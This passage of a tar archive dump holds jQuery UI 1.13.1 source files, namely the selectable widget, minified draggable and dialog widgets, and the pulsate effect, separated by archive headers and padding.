function() { that.elementPos = $( that.element[ 0 ] ).offset(); that.selectees = $( that.options.filter, that.element[ 0 ] ); that._addClass( that.selectees, "ui-selectee" ); that.selectees.each( function() { var $this = $( this ), selecteeOffset = $this.offset(), pos = { left: selecteeOffset.left - that.elementPos.left, top: selecteeOffset.top - that.elementPos.top }; $.data( this, "selectable-item", { element: this, $element: $this, left: pos.left, top: pos.top, right: pos.left + $this.outerWidth(), bottom: pos.top + $this.outerHeight(), startselected: false, selected: $this.hasClass( "ui-selected" ), selecting: $this.hasClass( "ui-selecting" ), unselecting: $this.hasClass( "ui-unselecting" ) } ); } ); }; this.refresh(); this._mouseInit(); this.helper = $( "<div>" ); this._addClass( this.helper, "ui-selectable-helper" ); }, _destroy: function() { this.selectees.removeData( "selectable-item" ); this._mouseDestroy(); }, _mouseStart: function( event ) { var that = this, options = this.options; this.opos = [ event.pageX, event.pageY ]; this.elementPos = $( this.element[ 0 ] ).offset(); if ( this.options.disabled ) { return; } this.selectees = $( options.filter, this.element[ 0 ] ); this._trigger( "start", event ); $( options.appendTo ).append( this.helper ); // position helper (lasso) this.helper.css( { "left": event.pageX, "top": event.pageY, "width": 0, "height": 0 } ); if ( options.autoRefresh ) { this.refresh(); } this.selectees.filter( ".ui-selected" ).each( function() { var selectee = $.data( this, "selectable-item" ); selectee.startselected = true; if ( !event.metaKey && !event.ctrlKey ) { that._removeClass( selectee.$element, "ui-selected" ); selectee.selected = false; that._addClass( selectee.$element, "ui-unselecting" ); selectee.unselecting = true; // selectable UNSELECTING callback that._trigger( "unselecting", event, { unselecting: selectee.element } ); } } ); $( event.target ).parents().addBack().each( function() { var doSelect, selectee = $.data( this, "selectable-item" ); if ( selectee ) { doSelect = ( !event.metaKey && !event.ctrlKey ) || !selectee.$element.hasClass( "ui-selected" ); that._removeClass( selectee.$element, doSelect ? "ui-unselecting" : "ui-selected" ) ._addClass( selectee.$element, doSelect ? "ui-selecting" : "ui-unselecting" ); selectee.unselecting = !doSelect; selectee.selecting = doSelect; selectee.selected = doSelect; // selectable (UN)SELECTING callback if ( doSelect ) { that._trigger( "selecting", event, { selecting: selectee.element } ); } else { that._trigger( "unselecting", event, { unselecting: selectee.element } ); } return false; } } ); }, _mouseDrag: function( event ) { this.dragged = true; if ( this.options.disabled ) { return; } var tmp, that = this, options = this.options, x1 = this.opos[ 0 ], y1 = this.opos[ 1 ], x2 = event.pageX, y2 = event.pageY; if ( x1 > x2 ) { tmp = x2; x2 = x1; x1 = tmp; } if ( y1 > y2 ) { tmp = y2; y2 = y1; y1 = tmp; } this.helper.css( { left: x1, top: y1, width: x2 - x1, height: y2 - y1 } ); this.selectees.each( function() { var selectee = $.data( this, "selectable-item" ), hit = false, offset = {}; //prevent helper from being selected if appendTo: selectable if ( !selectee || selectee.element === that.element[ 0 ] ) { return; } offset.left = selectee.left + that.elementPos.left; offset.right = selectee.right + that.elementPos.left; offset.top = selectee.top + that.elementPos.top; offset.bottom = selectee.bottom + that.elementPos.top; if ( options.tolerance === "touch" ) { hit = ( !( offset.left > x2 || offset.right < x1 || offset.top > y2 || offset.bottom < y1 ) ); } else if ( options.tolerance === "fit" ) { hit = ( offset.left > x1 && offset.right < x2 && offset.top > y1 && offset.bottom < y2 ); } if ( hit ) { // SELECT if ( selectee.selected ) { that._removeClass( selectee.$element, "ui-selected" ); selectee.selected = false; } if ( selectee.unselecting ) { that._removeClass( selectee.$element, "ui-unselecting" ); selectee.unselecting = false; } if ( !selectee.selecting ) { that._addClass( selectee.$element, "ui-selecting" ); selectee.selecting = true; // selectable SELECTING callback that._trigger( "selecting", event, { selecting: selectee.element } ); } } else { // UNSELECT if ( selectee.selecting ) { if ( ( event.metaKey || event.ctrlKey ) && selectee.startselected ) { that._removeClass( selectee.$element, "ui-selecting" ); selectee.selecting = false; that._addClass( selectee.$element, "ui-selected" ); selectee.selected = true; } else { that._removeClass( selectee.$element, "ui-selecting" ); selectee.selecting = false; if ( selectee.startselected ) { that._addClass( selectee.$element, "ui-unselecting" ); selectee.unselecting = true; } // selectable UNSELECTING callback that._trigger( "unselecting", event, { unselecting: selectee.element } ); } } if ( selectee.selected ) { if ( !event.metaKey && !event.ctrlKey && !selectee.startselected ) { that._removeClass( selectee.$element, "ui-selected" ); selectee.selected = false; that._addClass( selectee.$element, "ui-unselecting" ); selectee.unselecting = true; // selectable UNSELECTING callback that._trigger( "unselecting", event, { unselecting: selectee.element } ); } } } } ); return false; }, _mouseStop: function( event ) { var that = this; this.dragged = false; $( ".ui-unselecting", this.element[ 0 ] ).each( function() { var selectee = $.data( this, "selectable-item" ); that._removeClass( selectee.$element, "ui-unselecting" ); selectee.unselecting = false; selectee.startselected = false; that._trigger( "unselected", event, { unselected: selectee.element } ); } ); $( ".ui-selecting", this.element[ 0 ] ).each( function() { var selectee = $.data( this, "selectable-item" ); that._removeClass( selectee.$element, "ui-selecting" ) ._addClass( selectee.$element, "ui-selected" ); selectee.selecting = false; selectee.selected = true; selectee.startselected = true; that._trigger( "selected", event, { selected: selectee.element } ); } ); this._trigger( "stop", event ); this.helper.remove(); return false; } } ); } ); ���������������������������������������������������������������������������������������������������������������������js/jquery/ui/draggable.min.js�����������������������������������������������������������������������0000644�����������������00000043627�14717703502�0012166 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Draggable 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","./mouse","./core"],t):t(jQuery)}(function(P){"use strict";return P.widget("ui.draggable",P.ui.mouse,{version:"1.13.1",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this._addClass("ui-draggable"),this._setHandleClassName(),this._mouseInit()},_setOption:function(t,e){this._super(t,e),"handle"===t&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){(this.helper||this.element).is(".ui-draggable-dragging")?this.destroyOnClear=!0:(this._removeHandleClassName(),this._mouseDestroy())},_mouseCapture:function(t){var e=this.options;return!(this.helper||e.disabled||0<P(t.target).closest(".ui-resizable-handle").length)&&(this.handle=this._getHandle(t),!!this.handle&&(this._blurActiveElement(t),this._blockFrames(!0===e.iframeFix?"iframe":e.iframeFix),!0))},_blockFrames:function(t){this.iframeBlocks=this.document.find(t).map(function(){var t=P(this);return P("<div>").css("position","absolute").appendTo(t.parent()).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).offset(t.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_blurActiveElement:function(t){var e=P.ui.safeActiveElement(this.document[0]);P(t.target).closest(e).length||P.ui.safeBlur(e)},_mouseStart:function(t){var e=this.options;return this.helper=this._createHelper(t),this._addClass(this.helper,"ui-draggable-dragging"),this._cacheHelperProportions(),P.ui.ddmanager&&(P.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=0<this.helper.parents().filter(function(){return"fixed"===P(this).css("position")}).length,this.positionAbs=this.element.offset(),this._refreshOffsets(t),this.originalPosition=this.position=this._generatePosition(t,!1),this.originalPageX=t.pageX,this.originalPageY=t.pageY,e.cursorAt&&this._adjustOffsetFromHelper(e.cursorAt),this._setContainment(),!1===this._trigger("start",t)?(this._clear(),!1):(this._cacheHelperProportions(),P.ui.ddmanager&&!e.dropBehaviour&&P.ui.ddmanager.prepareOffsets(this,t),this._mouseDrag(t,!0),P.ui.ddmanager&&P.ui.ddmanager.dragStart(this,t),!0)},_refreshOffsets:function(t){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:t.pageX-this.offset.left,top:t.pageY-this.offset.top}},_mouseDrag:function(t,e){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(t,!0),this.positionAbs=this._convertPositionTo("absolute"),!e){e=this._uiHash();if(!1===this._trigger("drag",t,e))return this._mouseUp(new P.Event("mouseup",t)),!1;this.position=e.position}return this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",P.ui.ddmanager&&P.ui.ddmanager.drag(this,t),!1},_mouseStop:function(t){var e=this,s=!1;return P.ui.ddmanager&&!this.options.dropBehaviour&&(s=P.ui.ddmanager.drop(this,t)),this.dropped&&(s=this.dropped,this.dropped=!1),"invalid"===this.options.revert&&!s||"valid"===this.options.revert&&s||!0===this.options.revert||"function"==typeof this.options.revert&&this.options.revert.call(this.element,s)?P(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){!1!==e._trigger("stop",t)&&e._clear()}):!1!==this._trigger("stop",t)&&this._clear(),!1},_mouseUp:function(t){return this._unblockFrames(),P.ui.ddmanager&&P.ui.ddmanager.dragStop(this,t),this.handleElement.is(t.target)&&this.element.trigger("focus"),P.ui.mouse.prototype._mouseUp.call(this,t)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp(new P.Event("mouseup",{target:this.element[0]})):this._clear(),this},_getHandle:function(t){return!this.options.handle||!!P(t.target).closest(this.element.find(this.options.handle)).length},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this._addClass(this.handleElement,"ui-draggable-handle")},_removeHandleClassName:function(){this._removeClass(this.handleElement,"ui-draggable-handle")},_createHelper:function(t){var e=this.options,s="function"==typeof e.helper,t=s?P(e.helper.apply(this.element[0],[t])):"clone"===e.helper?this.element.clone().removeAttr("id"):this.element;return t.parents("body").length||t.appendTo("parent"===e.appendTo?this.element[0].parentNode:e.appendTo),s&&t[0]===this.element[0]&&this._setPositionRelative(),t[0]===this.element[0]||/(fixed|absolute)/.test(t.css("position"))||t.css("position","absolute"),t},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),"left"in(t=Array.isArray(t)?{left:+t[0],top:+t[1]||0}:t)&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_isRootNode:function(t){return/(html|body)/i.test(t.tagName)||t===this.document[0]},_getParentOffset:function(){var t=this.offsetParent.offset(),e=this.document[0];return"absolute"===this.cssPosition&&this.scrollParent[0]!==e&&P.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),{top:(t=this._isRootNode(this.offsetParent[0])?{top:0,left:0}:t).top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var t=this.element.position(),e=this._isRootNode(this.scrollParent[0]);return{top:t.top-(parseInt(this.helper.css("top"),10)||0)+(e?0:this.scrollParent.scrollTop()),left:t.left-(parseInt(this.helper.css("left"),10)||0)+(e?0:this.scrollParent.scrollLeft())}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,e=this.options,s=this.document[0];this.relativeContainer=null,e.containment?"window"===e.containment?this.containment=[P(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,P(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,P(window).scrollLeft()+P(window).width()-this.helperProportions.width-this.margins.left,P(window).scrollTop()+(P(window).height()||s.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]:"document"===e.containment?this.containment=[0,0,P(s).width()-this.helperProportions.width-this.margins.left,(P(s).height()||s.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]:e.containment.constructor===Array?this.containment=e.containment:("parent"===e.containment&&(e.containment=this.helper[0].parentNode),(e=(s=P(e.containment))[0])&&(t=/(scroll|auto)/.test(s.css("overflow")),this.containment=[(parseInt(s.css("borderLeftWidth"),10)||0)+(parseInt(s.css("paddingLeft"),10)||0),(parseInt(s.css("borderTopWidth"),10)||0)+(parseInt(s.css("paddingTop"),10)||0),(t?Math.max(e.scrollWidth,e.offsetWidth):e.offsetWidth)-(parseInt(s.css("borderRightWidth"),10)||0)-(parseInt(s.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(t?Math.max(e.scrollHeight,e.offsetHeight):e.offsetHeight)-(parseInt(s.css("borderBottomWidth"),10)||0)-(parseInt(s.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=s)):this.containment=null},_convertPositionTo:function(t,e){e=e||this.position;var t="absolute"===t?1:-1,s=this._isRootNode(this.scrollParent[0]);return{top:e.top+this.offset.relative.top*t+this.offset.parent.top*t-("fixed"===this.cssPosition?-this.offset.scroll.top:s?0:this.offset.scroll.top)*t,left:e.left+this.offset.relative.left*t+this.offset.parent.left*t-("fixed"===this.cssPosition?-this.offset.scroll.left:s?0:this.offset.scroll.left)*t}},_generatePosition:function(t,e){var s,i=this.options,o=this._isRootNode(this.scrollParent[0]),n=t.pageX,r=t.pageY;return o&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),e&&(this.containment&&(s=this.relativeContainer?(e=this.relativeContainer.offset(),[this.containment[0]+e.left,this.containment[1]+e.top,this.containment[2]+e.left,this.containment[3]+e.top]):this.containment,t.pageX-this.offset.click.left<s[0]&&(n=s[0]+this.offset.click.left),t.pageY-this.offset.click.top<s[1]&&(r=s[1]+this.offset.click.top),t.pageX-this.offset.click.left>s[2]&&(n=s[2]+this.offset.click.left),t.pageY-this.offset.click.top>s[3]&&(r=s[3]+this.offset.click.top)),i.grid&&(e=i.grid[1]?this.originalPageY+Math.round((r-this.originalPageY)/i.grid[1])*i.grid[1]:this.originalPageY,r=!s||e-this.offset.click.top>=s[1]||e-this.offset.click.top>s[3]?e:e-this.offset.click.top>=s[1]?e-i.grid[1]:e+i.grid[1],t=i.grid[0]?this.originalPageX+Math.round((n-this.originalPageX)/i.grid[0])*i.grid[0]:this.originalPageX,n=!s||t-this.offset.click.left>=s[0]||t-this.offset.click.left>s[2]?t:t-this.offset.click.left>=s[0]?t-i.grid[0]:t+i.grid[0]),"y"===i.axis&&(n=this.originalPageX),"x"===i.axis&&(r=this.originalPageY)),{top:r-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.offset.scroll.top:o?0:this.offset.scroll.top),left:n-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.offset.scroll.left:o?0:this.offset.scroll.left)}},_clear:function(){this._removeClass(this.helper,"ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_trigger:function(t,e,s){return s=s||this._uiHash(),P.ui.plugin.call(this,t,[e,s,this],!0),/^(drag|start|stop)/.test(t)&&(this.positionAbs=this._convertPositionTo("absolute"),s.offset=this.positionAbs),P.Widget.prototype._trigger.call(this,t,e,s)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),P.ui.plugin.add("draggable","connectToSortable",{start:function(e,t,s){var i=P.extend({},t,{item:s.element});s.sortables=[],P(s.options.connectToSortable).each(function(){var t=P(this).sortable("instance");t&&!t.options.disabled&&(s.sortables.push(t),t.refreshPositions(),t._trigger("activate",e,i))})},stop:function(e,t,s){var i=P.extend({},t,{item:s.element});s.cancelHelperRemoval=!1,P.each(s.sortables,function(){var t=this;t.isOver?(t.isOver=0,s.cancelHelperRemoval=!0,t.cancelHelperRemoval=!1,t._storedCSS={position:t.placeholder.css("position"),top:t.placeholder.css("top"),left:t.placeholder.css("left")},t._mouseStop(e),t.options.helper=t.options._helper):(t.cancelHelperRemoval=!0,t._trigger("deactivate",e,i))})},drag:function(s,i,o){P.each(o.sortables,function(){var t=!1,e=this;e.positionAbs=o.positionAbs,e.helperProportions=o.helperProportions,e.offset.click=o.offset.click,e._intersectsWith(e.containerCache)&&(t=!0,P.each(o.sortables,function(){return this.positionAbs=o.positionAbs,this.helperProportions=o.helperProportions,this.offset.click=o.offset.click,t=this!==e&&this._intersectsWith(this.containerCache)&&P.contains(e.element[0],this.element[0])?!1:t})),t?(e.isOver||(e.isOver=1,o._parent=i.helper.parent(),e.currentItem=i.helper.appendTo(e.element).data("ui-sortable-item",!0),e.options._helper=e.options.helper,e.options.helper=function(){return i.helper[0]},s.target=e.currentItem[0],e._mouseCapture(s,!0),e._mouseStart(s,!0,!0),e.offset.click.top=o.offset.click.top,e.offset.click.left=o.offset.click.left,e.offset.parent.left-=o.offset.parent.left-e.offset.parent.left,e.offset.parent.top-=o.offset.parent.top-e.offset.parent.top,o._trigger("toSortable",s),o.dropped=e.element,P.each(o.sortables,function(){this.refreshPositions()}),o.currentItem=o.element,e.fromOutside=o),e.currentItem&&(e._mouseDrag(s),i.position=e.position)):e.isOver&&(e.isOver=0,e.cancelHelperRemoval=!0,e.options._revert=e.options.revert,e.options.revert=!1,e._trigger("out",s,e._uiHash(e)),e._mouseStop(s,!0),e.options.revert=e.options._revert,e.options.helper=e.options._helper,e.placeholder&&e.placeholder.remove(),i.helper.appendTo(o._parent),o._refreshOffsets(s),i.position=o._generatePosition(s,!0),o._trigger("fromSortable",s),o.dropped=!1,P.each(o.sortables,function(){this.refreshPositions()}))})}}),P.ui.plugin.add("draggable","cursor",{start:function(t,e,s){var i=P("body"),s=s.options;i.css("cursor")&&(s._cursor=i.css("cursor")),i.css("cursor",s.cursor)},stop:function(t,e,s){s=s.options;s._cursor&&P("body").css("cursor",s._cursor)}}),P.ui.plugin.add("draggable","opacity",{start:function(t,e,s){e=P(e.helper),s=s.options;e.css("opacity")&&(s._opacity=e.css("opacity")),e.css("opacity",s.opacity)},stop:function(t,e,s){s=s.options;s._opacity&&P(e.helper).css("opacity",s._opacity)}}),P.ui.plugin.add("draggable","scroll",{start:function(t,e,s){s.scrollParentNotHidden||(s.scrollParentNotHidden=s.helper.scrollParent(!1)),s.scrollParentNotHidden[0]!==s.document[0]&&"HTML"!==s.scrollParentNotHidden[0].tagName&&(s.overflowOffset=s.scrollParentNotHidden.offset())},drag:function(t,e,s){var i=s.options,o=!1,n=s.scrollParentNotHidden[0],r=s.document[0];n!==r&&"HTML"!==n.tagName?(i.axis&&"x"===i.axis||(s.overflowOffset.top+n.offsetHeight-t.pageY<i.scrollSensitivity?n.scrollTop=o=n.scrollTop+i.scrollSpeed:t.pageY-s.overflowOffset.top<i.scrollSensitivity&&(n.scrollTop=o=n.scrollTop-i.scrollSpeed)),i.axis&&"y"===i.axis||(s.overflowOffset.left+n.offsetWidth-t.pageX<i.scrollSensitivity?n.scrollLeft=o=n.scrollLeft+i.scrollSpeed:t.pageX-s.overflowOffset.left<i.scrollSensitivity&&(n.scrollLeft=o=n.scrollLeft-i.scrollSpeed))):(i.axis&&"x"===i.axis||(t.pageY-P(r).scrollTop()<i.scrollSensitivity?o=P(r).scrollTop(P(r).scrollTop()-i.scrollSpeed):P(window).height()-(t.pageY-P(r).scrollTop())<i.scrollSensitivity&&(o=P(r).scrollTop(P(r).scrollTop()+i.scrollSpeed))),i.axis&&"y"===i.axis||(t.pageX-P(r).scrollLeft()<i.scrollSensitivity?o=P(r).scrollLeft(P(r).scrollLeft()-i.scrollSpeed):P(window).width()-(t.pageX-P(r).scrollLeft())<i.scrollSensitivity&&(o=P(r).scrollLeft(P(r).scrollLeft()+i.scrollSpeed)))),!1!==o&&P.ui.ddmanager&&!i.dropBehaviour&&P.ui.ddmanager.prepareOffsets(s,t)}}),P.ui.plugin.add("draggable","snap",{start:function(t,e,s){var i=s.options;s.snapElements=[],P(i.snap.constructor!==String?i.snap.items||":data(ui-draggable)":i.snap).each(function(){var t=P(this),e=t.offset();this!==s.element[0]&&s.snapElements.push({item:this,width:t.outerWidth(),height:t.outerHeight(),top:e.top,left:e.left})})},drag:function(t,e,s){for(var i,o,n,r,l,a,h,p,c,f=s.options,d=f.snapTolerance,g=e.offset.left,u=g+s.helperProportions.width,m=e.offset.top,v=m+s.helperProportions.height,_=s.snapElements.length-1;0<=_;_--)a=(l=s.snapElements[_].left-s.margins.left)+s.snapElements[_].width,p=(h=s.snapElements[_].top-s.margins.top)+s.snapElements[_].height,u<l-d||a+d<g||v<h-d||p+d<m||!P.contains(s.snapElements[_].item.ownerDocument,s.snapElements[_].item)?(s.snapElements[_].snapping&&s.options.snap.release&&s.options.snap.release.call(s.element,t,P.extend(s._uiHash(),{snapItem:s.snapElements[_].item})),s.snapElements[_].snapping=!1):("inner"!==f.snapMode&&(i=Math.abs(h-v)<=d,o=Math.abs(p-m)<=d,n=Math.abs(l-u)<=d,r=Math.abs(a-g)<=d,i&&(e.position.top=s._convertPositionTo("relative",{top:h-s.helperProportions.height,left:0}).top),o&&(e.position.top=s._convertPositionTo("relative",{top:p,left:0}).top),n&&(e.position.left=s._convertPositionTo("relative",{top:0,left:l-s.helperProportions.width}).left),r&&(e.position.left=s._convertPositionTo("relative",{top:0,left:a}).left)),c=i||o||n||r,"outer"!==f.snapMode&&(i=Math.abs(h-m)<=d,o=Math.abs(p-v)<=d,n=Math.abs(l-g)<=d,r=Math.abs(a-u)<=d,i&&(e.position.top=s._convertPositionTo("relative",{top:h,left:0}).top),o&&(e.position.top=s._convertPositionTo("relative",{top:p-s.helperProportions.height,left:0}).top),n&&(e.position.left=s._convertPositionTo("relative",{top:0,left:l}).left),r&&(e.position.left=s._convertPositionTo("relative",{top:0,left:a-s.helperProportions.width}).left)),!s.snapElements[_].snapping&&(i||o||n||r||c)&&s.options.snap.snap&&s.options.snap.snap.call(s.element,t,P.extend(s._uiHash(),{snapItem:s.snapElements[_].item})),s.snapElements[_].snapping=i||o||n||r||c)}}),P.ui.plugin.add("draggable","stack",{start:function(t,e,s){var i,s=s.options,s=P.makeArray(P(s.stack)).sort(function(t,e){return(parseInt(P(t).css("zIndex"),10)||0)-(parseInt(P(e).css("zIndex"),10)||0)});s.length&&(i=parseInt(P(s[0]).css("zIndex"),10)||0,P(s).each(function(t){P(this).css("zIndex",i+t)}),this.css("zIndex",i+s.length))}}),P.ui.plugin.add("draggable","zIndex",{start:function(t,e,s){e=P(e.helper),s=s.options;e.css("zIndex")&&(s._zIndex=e.css("zIndex")),e.css("zIndex",s.zIndex)},stop:function(t,e,s){s=s.options;s._zIndex&&P(e.helper).css("zIndex",s._zIndex)}}),P.ui.draggable});���������������������������������������������������������������������������������������������������������js/jquery/ui/effect-pulsate.js����������������������������������������������������������������������0000644�����������������00000003011�14717703502�0012362 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Pulsate 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Pulsate Effect //>>group: Effects //>>description: Pulsates an element n times by changing the opacity to zero and back. //>>docs: http://api.jqueryui.com/pulsate-effect/ //>>demos: http://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "pulsate", "show", function( options, done ) { var element = $( this ), mode = options.mode, show = mode === "show", hide = mode === "hide", showhide = show || hide, // Showing or hiding leaves off the "last" animation anims = ( ( options.times || 5 ) * 2 ) + ( showhide ? 1 : 0 ), duration = options.duration / anims, animateTo = 0, i = 1, queuelen = element.queue().length; if ( show || !element.is( ":visible" ) ) { element.css( "opacity", 0 ).show(); animateTo = 1; } // Anims - 1 opacity "toggles" for ( ; i < anims; i++ ) { element.animate( { opacity: animateTo }, duration, options.easing ); animateTo = 1 - animateTo; } element.animate( { opacity: animateTo }, duration, options.easing ); element.queue( done ); $.effects.unshift( element, queuelen, anims + 1 ); } ); } ); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/dialog.min.js��������������������������������������������������������������������������0000644�����������������00000031254�14717703502�0011506 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Dialog 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(i){"use strict";"function"==typeof define&&define.amd?define(["jquery","./button","./draggable","./mouse","./resizable","./core"],i):i(jQuery)}(function(l){"use strict";return l.widget("ui.dialog",{version:"1.13.1",options:{appendTo:"body",autoOpen:!0,buttons:[],classes:{"ui-dialog":"ui-corner-all","ui-dialog-titlebar":"ui-corner-all"},closeOnEscape:!0,closeText:"Close",draggable:!0,hide:null,height:"auto",maxHeight:null,maxWidth:null,minHeight:150,minWidth:150,modal:!1,position:{my:"center",at:"center",of:window,collision:"fit",using:function(i){var t=l(this).css(i).offset().top;t<0&&l(this).css("top",i.top-t)}},resizable:!0,show:null,title:null,width:300,beforeClose:null,close:null,drag:null,dragStart:null,dragStop:null,focus:null,open:null,resize:null,resizeStart:null,resizeStop:null},sizeRelatedOptions:{buttons:!0,height:!0,maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0,width:!0},resizableRelatedOptions:{maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0},_create:function(){this.originalCss={display:this.element[0].style.display,width:this.element[0].style.width,minHeight:this.element[0].style.minHeight,maxHeight:this.element[0].style.maxHeight,height:this.element[0].style.height},this.originalPosition={parent:this.element.parent(),index:this.element.parent().children().index(this.element)},this.originalTitle=this.element.attr("title"),null==this.options.title&&null!=this.originalTitle&&(this.options.title=this.originalTitle),this.options.disabled&&(this.options.disabled=!1),this._createWrapper(),this.element.show().removeAttr("title").appendTo(this.uiDialog),this._addClass("ui-dialog-content","ui-widget-content"),this._createTitlebar(),this._createButtonPane(),this.options.draggable&&l.fn.draggable&&this._makeDraggable(),this.options.resizable&&l.fn.resizable&&this._makeResizable(),this._isOpen=!1,this._trackFocus()},_init:function(){this.options.autoOpen&&this.open()},_appendTo:function(){var i=this.options.appendTo;return i&&(i.jquery||i.nodeType)?l(i):this.document.find(i||"body").eq(0)},_destroy:function(){var i,t=this.originalPosition;this._untrackInstance(),this._destroyOverlay(),this.element.removeUniqueId().css(this.originalCss).detach(),this.uiDialog.remove(),this.originalTitle&&this.element.attr("title",this.originalTitle),(i=t.parent.children().eq(t.index)).length&&i[0]!==this.element[0]?i.before(this.element):t.parent.append(this.element)},widget:function(){return this.uiDialog},disable:l.noop,enable:l.noop,close:function(i){var t=this;this._isOpen&&!1!==this._trigger("beforeClose",i)&&(this._isOpen=!1,this._focusedElement=null,this._destroyOverlay(),this._untrackInstance(),this.opener.filter(":focusable").trigger("focus").length||l.ui.safeBlur(l.ui.safeActiveElement(this.document[0])),this._hide(this.uiDialog,this.options.hide,function(){t._trigger("close",i)}))},isOpen:function(){return this._isOpen},moveToTop:function(){this._moveToTop()},_moveToTop:function(i,t){var e=!1,o=this.uiDialog.siblings(".ui-front:visible").map(function(){return+l(this).css("z-index")}).get(),o=Math.max.apply(null,o);return o>=+this.uiDialog.css("z-index")&&(this.uiDialog.css("z-index",o+1),e=!0),e&&!t&&this._trigger("focus",i),e},open:function(){var i=this;this._isOpen?this._moveToTop()&&this._focusTabbable():(this._isOpen=!0,this.opener=l(l.ui.safeActiveElement(this.document[0])),this._size(),this._position(),this._createOverlay(),this._moveToTop(null,!0),this.overlay&&this.overlay.css("z-index",this.uiDialog.css("z-index")-1),this._show(this.uiDialog,this.options.show,function(){i._focusTabbable(),i._trigger("focus")}),this._makeFocusTarget(),this._trigger("open"))},_focusTabbable:function(){var i=this._focusedElement;(i=(i=(i=(i=(i=i||this.element.find("[autofocus]")).length?i:this.element.find(":tabbable")).length?i:this.uiDialogButtonPane.find(":tabbable")).length?i:this.uiDialogTitlebarClose.filter(":tabbable")).length?i:this.uiDialog).eq(0).trigger("focus")},_restoreTabbableFocus:function(){var i=l.ui.safeActiveElement(this.document[0]);this.uiDialog[0]===i||l.contains(this.uiDialog[0],i)||this._focusTabbable()},_keepFocus:function(i){i.preventDefault(),this._restoreTabbableFocus(),this._delay(this._restoreTabbableFocus)},_createWrapper:function(){this.uiDialog=l("<div>").hide().attr({tabIndex:-1,role:"dialog"}).appendTo(this._appendTo()),this._addClass(this.uiDialog,"ui-dialog","ui-widget ui-widget-content 